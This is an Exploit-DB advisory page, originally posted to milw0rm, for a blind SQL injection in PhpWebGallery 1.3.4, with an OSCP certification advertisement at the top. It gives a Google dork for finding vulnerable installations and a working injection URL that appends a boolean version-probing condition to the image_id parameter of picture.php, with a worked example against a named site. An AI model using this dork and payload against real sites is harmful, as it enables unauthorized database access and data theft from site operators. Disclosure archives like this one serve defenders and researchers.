PHPWebGallery 1.3.4 - Blind SQL Injection (1)

EDB-ID:

6436

CVE:

N/A


Author:

Stack

Type:

webapps


Platform:

PHP

Date:

2008-09-11


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

GET CERTIFIED

----------------------------------------------------------------
Script : PhpWebGallery 1.3.4
Type : Vulnerabilities (blind sql injection)
Author : Stack
Google Dork : inurl:"picture.php?cat=" "Powered by PhpWebGallery 1.3.4"
----------------------------------------------------------------
Download From : http://puzzle.dl.sourceforge.net/sourceforge/phpwebgallery/phpwebgallery-1.3.4.tar.bz2
----------------------------------------------------------------
waiting the demo exploit
----------------------------------------------------------------
Exploit :
http://site.il/phpwebgallery/picture.php?cat=[Real id]&image_id=[Real id]+and+substring(@@version,1,1)=5
Example :
http://site.il/phpwebgallery/picture.php?cat=3&image_id=76+and+substring(@@version,1,1)=5

# milw0rm.com [2008-09-11]